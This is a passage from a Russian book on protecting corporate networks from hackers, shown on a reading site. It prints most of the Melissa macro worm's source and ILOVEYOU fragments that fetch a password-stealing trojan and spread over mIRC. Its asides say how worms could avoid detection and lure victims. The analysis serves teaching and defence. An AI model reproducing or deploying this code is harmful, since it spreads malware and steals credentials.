- Фантастика и фэнтези
- Ироническое фэнтези
- Стимпанк
- Детективная фантастика
- Киберпанк
- Попаданцы
- LitRPG
- Космоопера
- Технофэнтези
- Городская фантастика
- Русское фэнтези
- Юмористическая фантастика
- Космическая фантастика
- Боевое фэнтези
- Эпическая фантастика
- Зарубежная фантастика
- Книги магов
- Мистика
- Разная фантастика
- Разное фэнтези
- Любовное фэнтези
- Романтическая фантастика
- Городское фентези
- Историческая фантастика
- Историческое фэнтези
- Социально-философская фантастика
- Сказочная фантастика
- Иностранное фэнтези
- Романтическое фэнтези
- Ироническая фантастика
- Ужасы и Мистика
- Постапокалипсис
- Героическая фантастика
- Фэнтези
- Научная Фантастика
- Социально-психологическая
- Альтернативная история
- Боевая фантастика
- Разная литература
- Пословицы, поговорки
- Шахматы
- Визуальные искусства
- Фанфик
- Авто и ПДД
- Военное
- Отраслевые издания
- Гиды, путеводители
- Зарубежная образовательная литература
- Военная история
- Цитаты из афоризмов
- Современная литература
- Великолепные истории
- Начинающие авторы
- Современная зарубежная литература
- Боевые искусства
- Изобразительное искусство, фотография
- Кино
- Литература 19 века
- Недвижимость
- Музыка, музыканты
- Готические новеллы
- Истории из жизни
- Культура и искусство
- Спецслужбы
- Зарубежная прикладная литература
- Музыка, танцы
- Подростковая литература
- Прочее
- Военная техника, оружие
- Газеты и журналы
- Периодические издания
- Домоводство, Дом и семья
- Любовные романы
- Экономическая литература
- Научные и научно-популярные книги
- О животных
- Биохимия
- Культурология
- Юриспруденция
- Политика
- Психотерапия
- Языкознание
- Научпоп
- Медицина
- Психология, личное
- Радиотехника
- Филология
- Педагогика
- Образовательная литература
- Деловая литература
- Физика
- Науки: разное
- Химия
- Воспитание детей, педагогика
- Детская психология
- Зарубежная публицистика
- Биология
- Архитектура
- Зарубежная психология
- Науки о космосе
- Социология
- Математика
- География
- Беременность, ожидание детей
- Литературоведение
- Транспорт, военная техника
- Обществознание
- Зоология
- География
- Альтернативная медицина
- Иностранные языки
- Ветеринария
- Рефераты
- Астрология
- Биофизика
- Экология
- История Европы
- Учебники
- Шпаргалки
- Государство и право
- Ботаника
- Религиоведение
- История
- Техническая литература
- Прочая научная литература
- Психология
- Детективы и Триллеры
- Справочная литература
- Проза
- Новелла
- Юмор
- Проза
- Историческая проза
- Русская современная проза
- Советская классическая проза
- Повести
- Очерки
- Эссе
- Рассказы
- Зарубежная современная проза
- Сентиментальная проза
- Зарубежная классика
- Афоризмы
- Эпистолярная проза
- Феерия
- Семейный роман/Семейная сага
- Разное
- Антисоветская литература
- Магический реализм
- Русская классическая проза
- Современная проза
- О войне
- Контркультура
- Классическая проза
- Поэзия, Драматургия
- Детская литература
- Детская фантастика
- Детские остросюжетные
- Детские стихи
- Детские приключения
- Внеклассное чтение
- Учебная литература
- Зарубежные детские книги
- Бизнес
- Загадки
- Книги для подростков
- Школьные учебники
- Детский фольклор
- Книги для дошкольников
- Детские детективы
- Детская познавательная и развивающая литература
- Буквари
- Прочая детская литература
- Сказка
- Детская проза
- Детская образовательная литература
- Юмор
- Документальные книги
- Бизнес
- Внешнеэкономическая деятельность
- Тайм-менеджмент
- Кадровый менеджмент
- О бизнесе популярно
- Управление, подбор персонала
- Бизнес
- Менеджмент и кадры
- Продажи
- Экономика
- Ценные бумаги и инвестиции
- Малый бизнес
- Делопроизводство, офис
- Корпоративная культура, бизнес
- Банковское дело
- Финансы
- Зарубежная деловая литература
- Ораторское искусство / риторика
- Личные финансы
- Интернет-бизнес
- Поиск работы
- Государственное и муниципальное управление
- Бухучет и аудит
- Работа с клиентами
- Менеджмент
- Краткое содержание
- Личная эффективность
- Переговоры
- Приключения
- Старинная литература
- Религия и духовность
- Компьютеры и Интернет
- Блог
Читаем без скачивания Защита от хакеров корпоративных сетей - Коллектив авторов
Шрифт:
Интервал:
Закладка:
Червь Melissa имеет достаточно простой код небольшого размера. На его примере мы покажем, насколько простыми могут быть черви:
Private Sub Document Open()On Error Resume Next
Червь Melissa инфицирует макрос Document_Open() в файлах приложения Microsoft Word. Ведь при открытии файла Word выполняется любой код, помещенный в процедуру Document_Open(). То есть для распространения червя Melissa требуется, чтобы пользователь открыл инфицированный документ, присланный по электронной почте.
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity”,
“Level”) <> “”
Then
CommandBars(“ Macro” ).Controls(“ Security...” ).Enabled = False
System.PrivateProfileString(“”,
“HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity”,
“Level”) = 1&
Else
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
Options.ConfirmConversions = (1 – 1):
Options.VirusProtection = (1 – 1):
Options.SaveNormalPrompt = (1 – 1)
End IfВ этот момент червь Melissa делает умный ход, отключая проверку безопасности макросов в Microsoft Word. В итоге конечный пользователь не получает никаких сигналов о том, что в системе что-то происходит, – это позволяет червю беспрепятственно продолжить свою работу.
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(“Outlook.Application”)
Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)Аббревиатура MAPI расшифровывается как Messaging Application Programming Interface – интерфейс прикладного программирования. Этот интерфейс представляет собой основной способ взаимодействия Windows-приложений с различными функциями электронной почты. Обычно в качестве почтовой программы используется Microsoft Outlook, хотя существуют и другие возможности.
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USERSoftwareMicrosoftOffice”,
“Melissa?”) <> “... by Kwyjibo” ThenЧервь Melissa использует механизм исключения повторного заражения. В данном случае этот механизм состоит в применении определенного ключа Registry в качестве семафора. Если ключ не задан, значит, червь Melissa еще не заразил этот компьютер, поэтому он переходит к выполнению вредоносного кода.
If UngaDasOutlook = “Outlook” Then
DasMapiName.Logon “profile”, “password”
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo =
AddyBook.AddressEntries.Count
Next ooЗатем Melissa проверяет, используется ли в качестве почтовой программы приложение Outlook. В случае положительного результата проверки вирус создает список первых 50 адресов, найденных в адресной книге.
BreakUmOffASlice.Subject = “Important Message From ” &
Application .UserName
BreakUmOffASlice.Body = “Here is that document you asked for
... don’t show anyone else ;-)”
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.SendА вот код, рассылающий сообщения по ранее найденным 50 адресам. Как легко заметить, сообщения персонифицированы, то есть в них в качестве отправителя фигурирует хозяин зараженного компьютера. Обратите внимание, что Melissa просто присоединяет себя к сообщению, используя всего одну строку. Затем следует команда отправки почты. Могли ли вы подозревать, что это происходит настолько просто?
Peep = “”
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(“”, “HKEY_CURRENT_USERSoftware
MicrosoftOffice”, “Melissa?”) = “... by Kwyjibo”
End IfЗавершив отправку почты, Mel issa создает запись в Registry, чтобы гарантировать завершение рассылки сообщений. Именно эту запись ищет вирус, попав в систему.
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> “Melissa” Then
If ADCL > 0 Then
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = “Melissa”
DoAD = True
End If
If NTI1.Name <> “Melissa” Then
If NTCL > 0 Then
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = “Melissa”
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYAЗатем Melissa проверяет, инфицирован ли активный документ и его шаблон (normal.dot); в случае положительного результата проверки происходит переход к коду завершения (GoTo CYA). Если же результат отрицательный, червь заражает эти файлы:
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = “”
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub
Document_Close()”)
Do While ADI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = “”
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub
Document_Open()”)
Do While NTI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN,
NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End IfЛегко понять, как червь Melissa влияет на функцию Document_Open() активного документа. Также видно, что изменения внесены и в функцию шаблона Document_Close(). Это означает, что процесс сохранения или закрытия любого документа приведет к активизации червя.
CYA:
If NTCL <> 0 And ADCL = 0 And
(InStr(1, ActiveDocument.Name, “Document”) = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, “Document”) <> False)
Then ActiveDocument.Saved = True
End IfДействие червя заканчивается сохранением активного документа. При этом проверяется, была ли запомнена копия червя.
‘WORD/Melissa written by Kwyjibo
‘ Works in both Word 2000 and Word 97
‘ Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 <—> Word 2000 ... it”s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText “ Twentytwo
points, plus triple-word-score, plus fifty points for
using all my letters. Game’s over. I’m outta here.”
End SubЗатем происходит вещь, которая выглядит откровенно глупо. Появляются комментарии автора червя. Почему это глупо? Потому что по этой строке можно осуществлять поиск. Если антивирусная программа увидит подобное в присоединенном к сообщению фрагменте, с большой вероятностью червь Melissa будет распознан. Несмотря на это, многие создатели вирусов оставляют свои автографы внутри кода, невзирая на то что подобный ход упрощает обнаружение их детища.
Заключительная часть кода также представляет собой не очень умный ход. Если оказывается, что на момент выполнения этого куска текущее число месяца равно текущей минуте, вирус выводит на экран сообщение. Не стоит делать подобных вещей, если вы хотите остаться незамеченными, даже с учетом того, что такие события-триггеры происходят редко.
К сожалению, код вируса I love you имеет большой объем, поэтому мы не будем приводить полный сценарий его работы. Впрочем, вас это не должно расстраивать, так как полный код можно загрузить со страницы www.packetstormsecurity.org/viral-db/love-letter-source.txt.
Интересной особенностью вируса I love you является его способность случайным образом заменять заданную в браузере пользователя домашнюю страницу одним из четырех адресов, указанных в следующем фрагменте кода:num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate “HKCUSoftwareMicrosoftInternet ExplorerMain
Start Page”,http://www.skyinet.net/~young1s/
HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbv
YT/WIN-BUGSFIX.exe
elseif num = 2 then
regcreate “HKCUSoftwareMicrosoftInternet ExplorerMain
Start Page”,http://www.skyinet.net/~angelcat/
skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbm
KLJKjhkqj4w/WIN-BUGSFIX.exe
elseif num = 3 then
regcreate “HKCUSoftwareMicrosoftInternet ExplorerMain
Start Page”,http://www.skyinet.net/~koichi/
jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WINBUGSFIX.
exe
elseif num = 4 then
regcreate “HKCUSoftwareMicrosoftInternet ExplorerMain
Start Page”,http://www.skyinet.net/~chu/
sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjas
fdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WINBUGSFIX.
exe
end if
end ifПрограмма WIN-BUGSFIX.exe является Троянским конем, предназначенным для похищения чужих паролей. А все адреса находятся на сайте www.skyinet.net. Это могло помешать быстрому распространению червя, так как многие администраторы просто закрыли доступ на указанный сайт. Это, конечно, очень неприятно для www.skyinet.net, однако позволяет администраторам контролировать ситуацию. Но представим, что создатель вируса использует ссылку на одного из популярных провайдеров, создав, к примеру, пользовательскую страницу на aol.com, yahoo.com или hotmail.com. Будет ли администратор и в этом случае блокировать доступ? Скорее всего, нет.
Кроме того, если бы создатели сайта skyinet.net были умнее, они бы заменили Троянскую программу WIN-BUGSFIX.exe приложением для борьбы с I love you, которое действительно уничтожает этого червя. Таким образом, они привели бы в действие Троянского коня для Троянского коня.
Червь I love you, кроме всего прочего, вносит изменения в конфигурационные файлы приложения mIRC, которое является популярным IRC-клиентом для Windows:if (s=“mirc32.exe”) or (s=“mlink32.exe”) or (s=“mirc.ini”)
or (s=“script.ini”) or (s=“mirc.hlp”) then
set scriptini=fso.CreateTextFile(folderspec&“script.ini”)
scriptini.WriteLine “[script]”
scriptini.WriteLine “;mIRC Script”
scriptini.WriteLine “; Please dont edit this script... mIRC
will corrupt, if mIRC will”
scriptini.WriteLine “ corrupt... WINDOWS will affect and
will not run correctly. thanks”
scriptini.WriteLine “;”
scriptini.WriteLine “;Khaled Mardam-Bey”
scriptini.WriteLine “;http://www.mirc.com”
scriptini.WriteLine “;”
scriptini.WriteLine “n0=on 1:JOIN:#:{”
scriptini.WriteLine “n1= /if ( $nick == $me ) { halt }”
scriptini.WriteLine “n2= /.dcc send $nick
“&dirsystem&”LOVE-LETTER-FOR-YOU.HTM”
scriptini.WriteLine “n3=}”
scriptini.closeВнесенные изменения заставляют mIRC-клиента посылать копию червя I love you всем, кто присоединяется к каналу, по которому общается пользователь зараженного компьютера. Разумеется, имя посылаемого файла должно быть достаточно соблазнительным, чтобы пользователь, присоединившийся к каналу, захотел его открыть. Думаю, что название «LOVE-LETTER-FOR-YOU.HTM» («Любовное письмо для вас») вряд ли заинтересует кого-нибудь, кроме одиноких людей, а вот заголовки «Top-10-reasons-why-irc-sucks.htm» («10 основных причин, по которым IRC вызывает отвращение») или «irc-channel-passwords.htm» («Пароли для IRC-каналов»), скорее всего, будут популярны.